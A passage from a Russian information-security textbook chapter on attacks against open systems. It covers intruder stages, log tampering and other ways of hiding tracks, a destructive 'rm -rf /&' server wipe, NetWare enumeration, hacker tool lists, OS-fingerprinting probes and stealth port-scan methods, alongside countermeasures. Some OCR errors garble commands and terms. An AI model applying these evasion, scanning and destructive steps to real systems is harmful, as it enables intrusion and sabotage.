Системные регистрационные журналы (system log files) являются объектами частых нападений [77]. Для злоумышленника модификация информации из журналов является более важной, чем разрушение файлов по анализу регистрационной информации. Это связано с тем, что большинство системных администраторов уделяют этим журналам гораздо больше внимания, чем файлам с регистрационной информацией. Чтобы устранить следы вторжения, нарушители должны найти местоположение журналов и изменить их. Очевидно, что если журналы им отыскать не удастся, то они информацию подделать не смогут. Например, атакующий завладел ресурсами суперпользователя, не вызвав при этом ни одного сигнала тревоги. Он знает, что не исключена вероятность того, что системный регистрационный журнал содержит некоторую информацию, которая указывает на его действия. Определив, запущен ли syslogQ, для нахождения расположения журналов злоумышленник берет информацию из /etc/syslog.conf, а далее приступает к изменению журналов. Отметим, что взломщик заранее не знает, где они могут находиться. Именно здесь могут быть использованы радикальные контрмеры по предотвращению нападения. Имеются, по крайней мере, 10 вариантов исходного кода для сервера syslogQ. Нужно изменить расположение файла конфигурации. Само по себе это не работает, поскольку на взломанной системе злоумышленник может воспользоваться командой strings для определения нового местоположения этого файла. Можно придумать и что-то еще, например вместо использования открытого текста хранить пути доступа в зашифрованном виде или изменить расположение файла конфигурации.
Используя утилиту lsof(), взломщик может обнаружить все открытые на данный момент файлы. Таким образом, можно определить расположение журналов и без файла конфигурации syslog.conf. Утилита, выводящая список всех открытых файлов, доступна по адресу ftp.7/ftp.win.tue.nl/pub/security.
Демон syslogdQ обладает возможностями по удаленному подсоединению. Например, устанавливая Linux на ПК с диском, имеющим свободное место (по крайней мере, 10 Гбайт), отключая все доступные извне сервисы, помещая его в безопасной зоне, не указывая его в списке DNS и перенаправляя удаленное подключение на данный компьютер, служба защиты интранета может создать потайную регистрационную точку всех систем в установке. Пока злоумышленник находит и корректирует локальные журналы, их копии могут быть записаны на скрытый регистрационный компьютер. Отсутствие идентичных вводных записей в его журналах может служить показателем взлома. Однако дополнительные записи в журнале компьютера, которые не существуют в потайной регистрационной системе, не всегда означают то, что скрытый компьютер был взломан или скомпрометирован.
Если вероятность атаки на компьютер велика, то можно посоветовать входить через сетевой принтер, что делает особенно затруднительным редактирование атакующим лог-файлов.
Вместо изменения объектов ядра защиты злоумышленники могут применить другие методы нападений. Например, использовать при модемном доступе многие из Unix-подобных ОС, применяющих разделяемые библиотеки, для модификации кода функций [таких, как openQ], вместо корректировки бинарных источников данных функций. Указанный тип нападений хотя и не является широко распространенным,
326
Информационная безопасность открытых систем
заполняет высокоуровневые компоненты ядра зашиты некорректной информацией, в то же время поддерживая функциональность системы в целом. Подобные нападения могут быть осуществлены против таких библиотек, как стандартная библиотека С, используемая компоновщиком при компиляции статически связанных программ. Единственная разница заключается в том, что в противоположность системам, использующим общие библиотеки, программы, скомпилированные перед тем, как были взломаны статические библиотеки, не будут подвержены изменению. Вывод из этого такой: любое ПО, используемое для контроля целостности ядра защиты, должно быть статически связано, чтобы ограничить способы атаки, которыми могут воспользоваться нарушители. Можно предположить, что взломщики тогда модифицируют само ядро защиты, но до сих пор такой тип нападений является крайне редким из-за сложности осуществления.
Далее для проникновения в другие системы или компьютеры в качестве опорной площадки нарушитель часто использует первую взломанную внутреннюю систему, поскольку большинство сетей имеет незначительное число средств для защиты от внутренних атак.
Способы сокрытия своих следов, чаще всего применяемые злоумышленниками, таковы [67]:
	подмена адреса источника атаки;
	создание фальшивых пакетов;
	использование чужих компьютеров в качестве базы атаки;
	фрагментация атаки (через фрагментацию пакетов);
	шифрование атаки;
	отказ от значений по умолчанию (например, стандартные протоколы на нестандартных портах);
	изменение стандартного сценария развития атаки;
	замедление атаки;
	чистка журналов регистрации;
	сокрытие файлов и данных;
	сокрытие процессов (за счет изменения ядра ОС или применения специальных утилит).
Стадия 5: реализация непосредственных целей атаки (profit). После того как атакующий убедится, что его присутствие не было никак идентифицировано, он перейдет к захвату интранета. Нарушитель использует преимущества своего статуса для кражи конфиденциальных данных, злоупотребления с системными ресурсами (т. е. организует атаки на другие узлы через взломанный сервер) или стирает вебстраницы. Например, если целью атакующего является загрузка конфиденциальной информации с FTP- или веб-серверов внутреннего интранета, то он может осуществить это с внешнего хоста, работающего в качестве моста между открытыми сетями и интранетом. Однако если ему нужна конфиденциальная информация, хранимая на внутренних хостах сети, то далее для получения доступа он попробует атаковать именно их, используя доверительные отношения с внешними хостами, к которым он уже имеет определенный доступ.
Если атакующий может взломать ключевые серверы, на которых запущены такие серверные приложения, как базы данных, сетевые ОС или любые другие особо важные процессы, для него не сложно на некоторое время "уронить" сеть. Грубая, но не
4. Атаки на открытые системы
327
типичная методика, используемая злоумышленниками, пытающимися нарушить функционирование интранета, заключается в уничтожении всех файлов на ключевых серверах запуском на сервере команды rm -rf7&. В зависимости от используемой системы резервного копирования интранет можно вывести из строя на время от нескольких часов до нескольких месяцев.
Если атакующий получил доступ к внутреннему интранету, то он может воспользоваться уязвимостями, существующими во многих маршрутизаторах разных производителей, даже таких, как Cisco, Bay Networks и Ascend (они часто публикуются в уже упоминавшемся журнале "Bugtraq"). В некоторых случаях он может перезагрузить или полностью сорвать работу маршрутизаторов до тех пор, пока администратор не восстановит их. Это может вызвать большие проблемы с точки зрения функционирования интранета, так как атакующий может составить список уязвимостей всех маршрутизаторов, выполняющих ключевые функции в сети (например, если они используются на опорной сети). Затем он может запросто на некоторое время вывести из строя весь интранет (по этим причинам особенно важно, чтобы все основные маршрутизаторы и серверы всегда были защищены и не имели лазеек для несанкционированного входа).
И еще важное замечание. Атакующий перед началом вторжения в интранет должен знать как минимум различия лог-процедур в различных системах и в каких файлах останутся следы, свидетельствующие о его нападении. Единственный способ выявить такие файлы — это провести испытание в управляемой среде и исследовать соответствующие записи в лог-файлах. Тогда требуется приобретение и установка такого же компьютера с идентичными параметрами, как у жертвы. При этом обращают внимание на две вещи, которые в дальнейшем очень пригодятся для сокрытия следов [50]: как атака выглядит со стороны атакующего и атакуемого.
Теперь перечислим наиболее типичные шаги реализации конкретной атаки по распространенному сценарию нападения на интранет, что соответствует вышеописанным третьей и четвертой стадиям [80].
Шаг I: наводнить интранет большим количеством пакетов, реализовав атаку SYN flooding, при этом скрывая настоящую атаку на основе подмены IP-адресов (IP spoofing).
Шаг 2: подменить IP-адреса, скрывая сессии Telnet и веб-spoofing (атаки Hijaching, WinNuke).
Шаг 3: Hijaching (перехват сеансов) или веб-spoofing для получения открытых или зашифрованных паролей (которые далее с помощью программ типа CRACK будут раскрыты).
Шаг 4: после получения доступа непосредственно в саму систему, углубиться в нее за счет прослушивания трафика с помощью сниффера.
Шаг 5: спрятать флаг сниффера (PROMISC) для затруднения обнаружения факта запуска в сегменте сети этой программы.
Шаг 6: установить "троянского коня" (команда ifconfig) для сокрытия PROMISC.
Шаг 7: изменить дату и/или контрольную сумму файла для маскировки действий "троянского коня".
Шаг 8: после входа в систему установить "люк" (backdoor) с помощью средства rootkit.
328
Информационная безопасность открытых систем
Дополняя описания уязвимостей распространенных в настоящее время ОС, покажем, как могла бы развиваться атака на систему, работающую под управлением ОС Novell NetWare. Явным заблуждением относительно компании Novell является то, что ее программные продукты несколько устарели и утратили свою актуальность. Во всем мире более 40 млн. пользователей работает на ОС NetWare. Кратко рассмотренные ниже уязвимости относятся в основном к NetWare 5.x, но для более высоких версий они также могут быть актуальны.
Первым шагом взломщика является создание анонимного соединения (attachment) с сервером. До аутентификации к серверу необходимо сначала присоединиться, возможно и без регистрации. Для этого можно воспользоваться различными способами. В набор средств обеспечения безопасности администратор должен включить утилиту On-Site Admin. Это средство администрирования NetWare с графическим интерфейсом предоставляет информацию о серверах и деревьях, а также практически исчерпывающие данные, позволяющие оценить состояние системы зашиты. On-Site Admin является одним из основных средств взлома Novell. При его загрузке отображаются все серверы NetWare, обнаруженные в результате просмотра сетевого окружения. После отображения списка серверов в диалоговом окне нужно выбрать требуемый. При этом с сервером будет автоматически создано соединение, после чего можно начать его изучение.
Утилиты snlist и nslist также позволяют создать соединение с сервером, только из командной строки.
Далее можно получить много интересной информации. Ряд средств позволяет получить данные о связке сервера: userinfo (выдает дамп всех пользователей, содержащихся в структуре связки сервера), userdump (отображает все пользовательские имена на подсоединенном сервере и полные имена пользователей), bindery (предоставляет информацию практически о любом объекте связки, включая пользователей и группы), bindin (как bindery, но имеет лучше организованный интерфейс), nlist (позволяет просматривать данные о пользователях, группах, серверах, очередях и томах) и сх (показывает информацию о дереве NDS или о его части, что полезно при поиске определенных объектов внутри дерева). Приложения, подобные On-Site Admin, предоставляют информацию о дереве NDS. Все вместе эти утилиты обеспечивают злоумышленника дополнительными знаниями, которые позволят ему получить доступ к серверам.
После того как злоумышленник составил представление о самом "здании" (пользователях и серверах), можно перейти к подбору паролей. Для взломщика (и администратора) чрезвычайно важное значение имеют такие утилиты NetWare, как chknull. Эта утилита имеется на серверах NetWare, на которых установлен контекст связки, и позволяет найти пустые или легко подбираемые (например, совпадающие с именем пользователя) пароли. Дело в том, что при создании новой учетной записи система NetWare не требует задания пароля (если не используется соответствующий шаблон). В результате многие пользовательские учетные записи создаются с нулевыми паролями. Простой подбор пароля многократными вводами разных символов можно заблокировать соответствующей встроенной возможностью ОС. При ее включении учетная запись пользователя будет заблокирована после заданного числа неудачных попыток регистрации. Но, к сожалению, по умолчанию режим блокировки вторжений отключен.
4. Атаки на открытые системы
329
Узнав нескольких имен пользователей и паролей, злоумышленник наверняка предпримет попытку регистрации на сервере с помощью программы DOS login.exe, On-Site или программы регистрации клиента Client32. После успешной аутентификации можно получить еще больше информации, воспользовавшись программой On-Site Admin (для просмотра всех текущих соединений с сервером и каждого из них в отдельности) и утилитами userlist (используется в командной строке, что позволяет применять ее в скриптах, и выдает полный адрес сети и узла, а также время регистрации) и NDS Snoop.
Следующим шагом многих взломщиков будет получение прав администратора на сервере или на дереве. Для решения этой задачи существует два основных метода: захват (pillage) сервера (традиционный метод) или ложные атаки NCP.
Далее многие злоумышленники будут предпринимать попытки несанкционированного получения данных. Другими словами, они будут пытаться зарегистрироваться везде, где это возможно. В поисках подсказок и намеков просматриваются все доступные файлы. Со структурой корня тома SYS можно познакомиться, воспользовавшись командой n secret/sys:\ или On-Site Admin. Каталоги, в которых содержатся интересные файлы, таковы: system; etc; home; login; mail; public. Каталоги system и etc особенно важны, поскольку в них содержатся жизненно важные конфигурационные файлы сервера. Их может просмотреть лишь пользователь с правами администратора.
И еще один сценарий развития атаки может начинаться так. Скорее это атака на конкретный сервер, и нарушитель может просто просканировать случайный адрес в Интернете пытаясь найти конкретную "дыру". Например, нарушитель попытается просканировать весь Интернет в поисках компьютеров, которые имеют дыру sendmail DEBUG. Далее просто атакуются те компьютеры, которые найдены таким образом.
До сих пор в этом параграфе рассматривалась типовая модель поведения внешнего злоумышленника. Внутренний нарушитель ведет себя очень похожим образом. Этапы его атаки таковы:
	изучение окружающей (внутренней) сетевой среды интранета и оценка возможности непосредственного перехвата информации;
	получение наиболее доступных регистрационных данных пользователей или иной секретной информации, циркулирующей в том же сегменте сети, в котором находится сам злоумышленник;
	получение максимального количества регистрационных данных пользователей, принадлежащих к иным сетевым сегментам;
	совершение скрытой или прямой атаки на компоненты интранета, но во втором случае тогда есть риск "засветиться" в журналах регистрации и в системах обнаружения вторжений. Однако при успешной реализации первых пунктов возможно использование полученных данных для дальнейшей атаки на компоненты интранета.
4.2.2. Уровни атак
Атаки можно подразделить по серьезности последствий от их реализации на шесть уровней [50].
Уровень 1. Атаки включают "отказ в обслуживании" (DoS) и почтовые бомбы. Их цель - доставить кому-то неприятности. В большинстве случаев решить эти пробле
330
Информационная безопасность открытых систем
мы можно, применяя схему, описанную в предупреждении Computer Security Advisory 95-13 (SATAN Update).
Атаки DoS возможны всегда. Нет действенного способа избежать их. Но лучший способ решить эту проблему состоит в добавлении источников хостов/сетей злоумышленника в листинг DENY в inetd.sec. Большинство DoS-атак представляет небольшую угрозу и не требует от атакующего особо глубоких знаний. Даже если они вызывают перезагрузку системы - это лишь проблема времени. DoS-атаки по последствиям несравнимы с атаками, когда кто-то получает контроль над сетью. Правда, если в сети есть неопределенные конфигурации, то DoS-атака может вызвать более серьезные последствия.
DoS-атаки довольно обычны, хотя не столь обычны, как почтовые бомбы. Посылаемые бомбы, как правило, легко отслеживаются. Кроме того, bozo-файлы (файлы-убийцы) и схемы таких атак в основном безопасны. Единственная реальная проблема здесь - это частота таких "бомбежек" и их объем, что выводит из строя почтовый сервер.
При атаке SYN flooding (наводнение) есть ряд мер идентификации атакующего. В Интернете можно найти несколько средств, реализующих эту атаку. По крайней мере два из них позволяют определить нападающего, хотя бы косвенно. Такие средства допускают запуск утилиты ping, при котором выдается IP-адрес компьютера его запустившего. Но после этого IP-адрес еще нужно выделить из всего сетевого трафика.
"Наводнение" и DoS - это часто предшественники (или даже составные части) других атак. Если обнаружено "затопление" какого-либо порта на компьютере, то нужно установить, какие сервисы связаны с ним. Если этот сервис - неотъемлемая часть внутренней сети (т. е. другие компьютеры используют его и эти соединения основаны на установление подлинности адреса), то требуется анализ ситуации.
Другая атака первого уровня - это инициализация Telnet-сессии с серверами почты или новостей, выявляющая разделяемые ресурсы. Если сеть должным образом защищена, такие атаки не страшны. Если разделяемые ресурсы должным образом не сконфигурированы или если используются r-сервисы (или другие средства, которые не должны применяться), атаки первого уровня могут стать реальностью.
Уровни 2 и 3. Это атаки, когда локальные пользователи получают доступ для чтения и записи к файлам (или директориям), к которым такой доступ им не разрешен. Далее все зависит от содержимого этих файлов. Локальный пользователь - это пользователь, который имеет пароль для входа в компьютер внутри интранета и имеет свою директорию на диске (независимо от цели использования этой директории: вебузел, локальный жесткий диск на одной из рабочх станций и т. д). Угроза от локальных пользователей сильно зависит от самого интранета. Атака, инициированная локальными пользователями на этом уровне, обычно связана с Telnet.
Есть два вида атак второго уровня. Менее серьезные атаки реализуются любопытным пользователем, плохо знакомым с предметом и поэтому интересующимся всем (он может напечатать passwd-файл в STDOUT, попробовать прочитать любые привилегированные файлы и т. д.). И наоборот, это организованные и хорошо продуманные атаки, когда атакующий хорошо знает конфигурацию системы. Причины успешности таких атак - либо неправильная конфигурация сети, либо лазейки в ПО.
4. Атаки на открытые системы
331
В ОС, где нет контроля доступа, атаки второго уровня могут легко перерасти в атаки высших уровней. Для анализа ситуции показательно наблюдение за трафиком к портам 137-139, где поддерживается процесс разделения ресурсов.
Уровень 4. Данные атаки обычно связаны с внешними нарушителями, пытающимися получить доступ к внутренним файлам интранета. Вид доступа может варьироваться от простой проверки существования некоторых файлов до их чтения. Проблемы здесь связаны с уязвимостями из-за наличия удаленных пользователей, способных выполнять ограниченный набор команд в интранете. Большинство угроз объясняется неправильной настройкой серверов, плохими CGI и проблемами переполнения буфера.
Уровни 5 и 6. Любые атаки данного уровня - фатальны, так как они связаны с возникновением ситуаций, которых в принципе быть не должно. Например, удаленные пользователи могут читать, писать и выполнять файлы. Если в интранете есть защита от атак уровней 2—4, то маловероятна реализация атак уровней 5 и 6. Тогда атака уровня 6 возможна только из-за ошибок в ПО.
Теперь укажем способы реагирования на перечисленные атаки.
Отклик на атаки уровня 1. Действенной будет фильтрация входящих адресов и контакт с сервис-провайдером атакующего.
Отклик на атаки уровня 2. Атаки уровня 2 - внутреннее дело организации, но полученную информацию игнорировать не стоит. Нужно сделать недоступным или взять под бдительный контроль или удалить учетные записи таких пользователей. И об этом лучше никому не сообщать. Тогда можно будет сохранить любое свидетельство, которое иначе могло бы быть удалено. Или, наоборот, провести соответствующую беседу с нарушителем, намекнув на нависшую над ним угрозу увольнения.
Отклик на атаки уровней 3-6. Нужно предпринять такие действия:
	изолировать сегмент сети так, чтобы действия могли происходить только в небольшой ограниченной области;
	позволить деятельности нарушителя развиваться;
	жестко регистрировать все действия;
	делать все, чтобы идентифицировать источник/источники атаки.
4.3. Классические и современные методы, используемые нападающими
для проникновения в открытые системы
С ростом применения сетей и совершенствованием сетевых утилит модернизировались и методы обхода защиты. Классические методы взлома интранета связаны с получением пароля пользователя для дальнейшего легального входа в систему и наследования всех его прав. В п. 3.3.5 уже были рассмотрены основные методы перехвата паролей - подбор пароля пользователя, применение метода "грубой силы", метод "зашифровать и сравнить", социальная инженерия и некоторые другие. Сегодня при помощи развитых инструментальных средств поиска сетевых неисправностей, администрирования и сбора статистики о работе системы злоумышленник может в прямом смысле перехватить любые данные, посылаемые некоторым компьютерам, и использовать их по своему усмотрению. Наряду с этим необычайно возросла прак
332
Информационная безопасность открытых систем
тика изменения системных утилит и создания отдельных пакетов, а также атаки, основанные на знаниях особенностей сетевых протоколов.
Выделим три основных способа вторжения в интранет, на основе которых нарушители получают возможность проникновения в системы [39].
1.	Физическое вторжение. Если нарушитель имеет физический доступ к компьютеру (т. е. он использует клавиатуру или часть системы), то он сможет проникнуть в нее. Методы могут быть различными - от получения специальных привилегий, которые имеет консоль, до возможности физического использования блоков системы, например снятия винчестера и чтения/записи его на другом ПК.
2.	Системное вторжение. Этот тип хакерской деятельности предполагает, что нарушитель уже имеет учетную запись в системе как пользователь с невысокими привилегиями. Если в системе не установлены самые последние "заплатки" для защиты, тогда после этого у нарушителя есть шанс попытаться совершить известную атаку для получения дополнительных административных привилегий.
3.	Удаленное вторжение. Этот тип деятельности нарушителей подразумевает, что они пытаются проникнуть в систему через сеть с удаленного компьютера. Такой нарушитель может действовать без каких-либо специальных привилегий или уже иметь свою учетную запись в системе. Но в первом случае нарушитель потратит гораздо больше времени и усилий, если между ним и компьютером-жертвой установлен МЭ.
Средства (механизмы) реализации атак, которые доступны в среде злоумышленников, довольно разнообразны [67]:
	информационный обмен (для сбора информации о жертве и ее уязвимостях);
	команды пользователей (ввод команд в интерфейсе командной строки или процесса);
	скрипты или программы;
	автономный агент;
	комплекты утилит (toolkit, rootkit и т. п.);
	распределенные средства (по нескольким узлам сети).
Чаще всего злоумышленники применяют утилиты различного назначения.
Unix-утилиты. Они либо поставляются вместе с Unix-платформой, либо могут быть загружены бесплатно.
ping - определяет, "жив" ли атакуемый хост.
traceroute — находит маршрут к атакуемому хосту.
nslookup/dig - позволяет получить данные от DNS-сервера организации.
whois - находит информацию о регистрации в Intemic и узнает, имеет ли жертва собственный доменный сервер или использует чей-то (например, сервис-провайдера).
finger - определяет, кто входил в атакуемую систему, или находит информацию о пользователях.
rpcinfo - определяет, какие RPC-сервисы запущены.
showmount — отображает все разделяемые ресурсы компьютера.
SAMBA - отображает информацию о совместно используемых ресурсах Windows NT SMB.
Telnet - позволяет подключаться и "играть" с любым тексто-ориентированным протоколом (HTTP, FTP, SMTP и т. д.).
4. Атаки на открытые системы
333
WinNT-утилиты. Это те же Unix-утилиты, которые реализованы в специальных пакетах для работы под Windows. Но есть также некоторые утилиты, характерные только для Windows.
nbtstat — показывает NetBIOS-информацию об удаленном компьютере (Windows NT не имеет утилиты, преобразующей имя NetBIOS в IP-адрес; однако для подобной трансляции можно использовать nbtstat; команда nbtstat -a NBTNAME устанавливает подключение к удаленной системе; после этого набирается команда nbtstat -с, которая и показывает IP-адрес [38]).
net view - это программа, которая позволяет дистанционно просматривать совместно используемые ресурсы сети Windows NT.
Специальные утилиты для хакерской деятельности
netcat - эта программа поддерживает TCP- и UDP-соединения, читает и записывает данные по этим соединениям до того, пока они не будут закрыты. Netcat для TCP/IP позволяет атакующим создавать скрипты взаимодействия по различным протоколам, особенно по текстоориентированным и дает возможность увидеть пакеты TCP и UDP до их упаковки в соответствии с протоколами более высокого уровня (типа FTP, SMTP, http). Netcat решает разнообразные задачи: получение удаленного доступа к командной оболочке; незаметное сканирование портов (задается интервал для попыток соединения, случайная последовательность сканирования портов из заданного интервала); получение сведений о работающих службах на сканируемых портах; взаимодействие с UDP-службами (может работать как улучшенный Telnet); подмена IP-адресов; обход сетевых фильтров.
crack/NTcrack/LOphtCrack/ и т. д. - позволяют взламывать сетевые пароли (атаки по словарю или подбор пароля); эти пакеты также содержат утилиты для выгрузки паролей из баз'данных и перехват их из сети.
sniffers — для просмотра необработанного трафика, такие, как Gobbler, tcpdump или Sniffer Network Analyzer (компания Network Associates).
ping sweepers — для обнаружения активности многих компьютеров. Во время этого простого сканирования диапазон IP-адресов анализируется с помощью протокола ICMP утилитой ping с целью определения активных компьютеров [заметим, что большинство более сложных сканеров будет применять другие протоколы (типа SNMP), реализуя ту же задачу]. Для определения факта ping-сканирования целей, находящихся внутри подсети, необходимо анализировать исходные и конечные адреса ICMP-пакетов.
exploit packs — представляют собой набор из одной или более программ, знающих, каким образом использовать уязвимости в системах (обычно как только пользователь входит в систему).
Средства дистанционного анализа защищенности - такие, как SATAN, которые ищут множество хорошо известных уязвимостей в компьютерах всего интранета.
War dialers - осуществляют множество телефонных звонков в поисках модемных номеров.
NAT (NetBIOS Audit Tools) - основан на исходном коде SAMBA и является полезным для получения информации NetBIOS/SMB с Windows и SAMBA-серверов.
Сканеры — программы типа SATAN, ISS, CyberCop Scanner, которые автоматизированно ищут уязвимости в системах.
334
Информационная безопасность открытых систем
Средства идентификации ОС. Путем посылки недопустимых (или странных) ICMP- или TCP-пакетов нарушитель может идентифицировать ОС. Стандарты обычно устанавливают, каким образом компьютеры должны реагировать на легальные пакеты, поэтому компьютеры с одними и теми же ОС одинаково реагируют на допустимые входные данные. Однако стандарты упускают (обычно намеренно) реакцию на недопустимые входные данные. Таким образом, уникальные реакции каждой ОС на недопустимые входные данные формируют сигнатуру, которую нарушитель использует для определения, под каким управлением функционирует выбранный компьютер. Очень часто определить ОС можно по нулевому порту, зарезервированному для специального использования. Процесс определения по данному признаку состоит из семи тестов.
Р1: send top packet from source port 0 to port 0
P2: send top packet from source port X to port 0
P3: send top packet from source port 0 to open port
P4: send top packet from source port 0 to closed port
P5: send udp packet from source port 0 to port 0
P6: send udp packet from source port 53 to port 0
P7: send udp packet from source port 0 to closed port
Порт X в тесте P2 является любым портом, не равным нулю. Порт 53 использован в тесте Р6, так как он может быть открыт на некоторых МЭ. Ожидаемым результатом для тестов Pl, Р2 и Р4 должен быть пакет с установленным RST-флагом, так как dest-порт закрыт. Ответом на РЗ должен быть SYN АСК, так как порт назначения открыт и порт 0, который находится в src-поле. Ответом на Р5, Р6 и Р7 должно быть ICMP port unreachable, так как UDP-порт 0 не может (не должен) принимать никакого трафика. Такой тип деятельности относится к низкоуровневым атакам (вроде скрытых сеансов TCP-сканирования), при которых анализируемые системы не регистрируют события.
Сканеры учетных записей. Злоумышленник чаще всего пытается проникнуть в систему через учетные записи без паролей. Вторая попытка - ввод пароля, полностью повторяющего имя пользователя, равного его английскому эквиваленту (password или passwd), и т. п. Третий подход - ввод используемых по умолчанию паролей, устанавливаемых в систему при инсталляции продуктов через стандартные обобщенные интерфейсы, позволяющие существенно упростить эту процедуру. Четвертая попытка - ввод паролей, устанавливаемых с программными продуктами, работающими со своими специальными пользовательскими учетными записями, что типично как для продуктов Microsoft, так и для ОС Unix. Также атакующий может воспользоваться проблемами анонимного FTP (CWD —root) или просканировать порты rlogin/rsh/rexec, которые могут поддерживать доверенный доступ к системе.
Сканеры карты сети (network mapping) (подробнее они рассмотрены в п. 4.3.4). Злоумышленники проверяют, какие компьютеры работают в сети, когда они включены и когда выключены, а также какие компьютеры и как отвечают на различные типы попыток узнать карту сети. Администраторы знают о расширенных возможностях современных средств сканирования сетей. Например, запустив nmap, нападающий, вероятнее всего, определит ОС компьютера-жертвы, ее чувствительность к предсказанию номера TCP-последовательности и работающие сервисы. Это уже достаточно много информации для входа в систему, позволяющей нападающим выбрать слабые для взлома места, характерные для их жертвы.
4. Атаки на открытые системы
335
Сканеры TCP- и UDP-портов - для сканирования/зондирования доступных портов. Для того чтобы избежать регистрации в журналах событий, сканеры портов могут работать во многих режимах. Осуществляется процесс пробного подключения к портам TCP и UDP исследуемого хоста с целью определения, какие службы на них запущены и обслуживаются ли ими соответствующие порты. Обслуживаемые порты могут находиться в состоянии ожидания запроса (listening mode). Определение таких портов - это этап, имеющий определяющее значение для последующего выяснения типа используемой ОС, а также работающих на компьютере прикладных программ. Активные службы, находящиеся в состоянии ожидания, могут предоставить злоумышленнику возможность получить НСД (если система защиты компьютера не настроена должным образом или в ПО имеются хорошо известные уязвимости).
Просканировать можно все 65 535 портов компьютера. Однако особенно тщательно исследуются первые 1 024 (well-known) порта. Они зарезервированы для системных служб. Исходящие соединения будут иметь номера больше чем 1023. Это означает, что все приходящие пакеты, поступающие через порты с номерами, большие ми 1023, являются ответами на соединения. Когда сканер сканирует порты компьютера, то он опрашивает порты один за другим, выясняя, открыты ли они или закрыты. Ответная информация выдается без каких-либо предварительных данных о запрашивающем.
Рассмотрим основные методы удаленного сканирования портов.
UDP-сканирование. Эти сеансы сканирования более трудны в реализации, чем далее подробно рассмотренные TCP-сканирования, потому что UDP - это протокол без установления виртуального соединения. Метод заключается в том, чтобы послать "мусорный" UDP-пакет без данных, адресованный порту, который проверяется на предмет доступности. Большинство компьютеров будет реагировать с помощью ICMP-сообщения о недоступности порта (destination port unreachable), указывающего, что порт закрыт. Если на посланный UDP-пакет получен ответ, считается, что сканируемый порт открыт. Если на запрос не получено никаких ответов, то состояние порта будет opened|filtered, что означает, что порт либо открыт, либо пакетные фильтры блокируют обмен данными. Однако многие компьютеры "душат" ICMP-сообщения, поэтому нельзя осуществлять очень быстрое UDP-сканирование. Противодействием данной атаке является передача сообщений о недоступности порта на компьютер атакующего.
TCP-сканирование. Атака предназначена для распознавания конфигурации компьютера и доступных сервисов на компьютере-жертве - на каких TCP-портах работают демоны, отвечающие на запросы из сети.
Порт характеризуется тремя возможными состояниями: "открыт", "фильтруемый” и "нефильтруемый". Состояние "открыт” означает, что удаленная машина прослушивает данный порт. Состояние "фильтруемый" означает, что МЭ, пакетный фильтр или другое устройство блокируют доступ к этому порту и сканер не смог определить его состояние. "Нефильтруемый" означает, что по результатам сканирования данный порт определен как закрытый, при этом средства защиты не помешали сканеру определить его состояние. Это состояние определяется в любом случае (даже если большинство сканируемых портов хоста фильтруются).
Существует несколько методов TCP-сканирования, которые используют уязвимости реализаций стека TCP/IP в большинстве ОС и не обнаруживаются стандартными
336
Информационная безопасность открытых систем
средствами. Одна из задач, стоящих перед злоумышленником, заключается в осуществлении сканирования таким образом, чтобы оно не было зарегистрировано в журнале событий.
Различают сеансы сканирования для обычных TCP-соединений и сеансы невидимого (stealth), или скрытого, или пассивного, сканирования для наполовину открытых (half-open) соединений (SYN-сканирование) и FIN-сеансы сканирования (никогда не открывают порт, но тестируют, если что-то прослушивается; в соответствии с RFC 793 хост должен ответить на FIN-пакет RST-пакетом, однако некоторые ОС типа Windows, BSDI, CISCO, HP/UX, MVS и IRIX не посылают ничего в ответ).
Сканирования могут быть либо последовательными, либо случайными, либо сконфигурированы по перечню портов.
К сожалению, при достаточно умном поведении злоумышленника (например, сканирование с низкой скоростью или проверка лишь конкретных портов) выявить пассивное сканирование невозможно, поскольку оно ничем не отличается от обычных попыток установить соединение. В качестве защиты можно лишь посоветовать закрыть на МЭ все сервисы, доступ к которым не требуется извне.
Обычная программа-сканер последовательно открывает соединения с различными портами. В случае, когда соединение устанавливается, программа сбрасывает его, сообщая номер порта злоумышленнику. Данный способ легко детектируется по сообщениям демонов, "удивленных" мгновенно прерванным после установки соединением, или с помощью специальных программ. Лучшие из таких программ обладают некоторыми элементами искусственного интеллекта в отслеживании попыток соединения с различными портами.
Однако злоумышленник может воспользоваться другим известным методом — пассивным, или полуоткрытым, сканированием (или сканированием с незавершенным открытием сеанса), так как при его использовании полное TCP-соединение не устанавливается. В одном из вариантов при его использовании посылается SYN-пакет на все порты подряд (или по какому-то заданному алгоритму). Для ТСР-портов, принимающих соединения извне, будет возвращен SYN/ACK-пакет. Это означает, что порт находится в состоянии listening. Остальные вернут RST-пакеты. Как правило, это говорит о том, что исследуемый порт отключен. Проанализировав данные ответа, злоумышленник может быстро понять, на каких портах работает программа. В ответ на SYN/АСК-пакеты он может также ответить RST-пакетами, показывая, что процесс установки соединения продолжен не будет (в общем случае RST-пакетами автоматически ответит реализация TCP/IP злоумышленника, если он не предпримет специальных мер). Такое сканирование детектировать не просто, поскольку полное TCP/IP-соединение не устанавливается. Многие системы не регистрируют подобные попытки, которые поэтому довольно часто остаются незамеченными. Однако можно отслеживать резко возросшее количество сессий, находящихся в состоянии SYNRECEIVED (при условии, что злоумышленник не посылает в ответ RST), или прием от клиента RST-пакета в ответ на SYN/ACK.
Еще одна разновидность TCP-сканирования — TCP АСК scan с помощью сообщений АСК. Этот метод используется для определения набора правил (ruleset) МЭ. В частности, он помогает определить, защищен ли сканируемый хост МЭ или просто пакетным фильтром, блокирующим входящие SYN-пакеты. В этом методе на сканируемый порт хоста отправляется АСК-пакет (со случайными значениями полей
4. Атаки на открытые системы
337
acknowledgement number и sequence number). Если в ответ пришел RST-пакет, порт классифицируется как "нефильтруемый". Если ответа не последовало (или пришло ICMP-сообщение о недоступности порта), порт классифицируется как "фильтруемый". Обратим внимание, что этот метод в результатах сканирования никогда не покажет состояние порта "открыт".
Иногда злоумышленниками применяется TCP-сканирование размера окна (TCP Window scan). Этот метод похож на АСК-сканирование, за исключением того, что иногда с его помощью можно определять открытые порты (так же как и фильтруе-мые/нефильтруемые). Проверяется значение поля Initial Window TCP-пакета, возвращаемого хостом в ответ на посланный ему запрос. Ответ будет различен ввиду наличия особенностей обработки данного поля у некоторых ОС. Так, ОС AIX - единственная ОС со значением Window, равным 0x3F25. В Windows 2000, OpenBSD и FreeBSD это значение равно 0х402Е.
И еще только для Unix-систем вместе с другими методами применяется ТСР-сканирование портов RPC (TCP RPC scan). Оно позволяет выявить порты сервисов удаленного вызова процедур RPC (RPC services), связанные с ними программы и их версии.
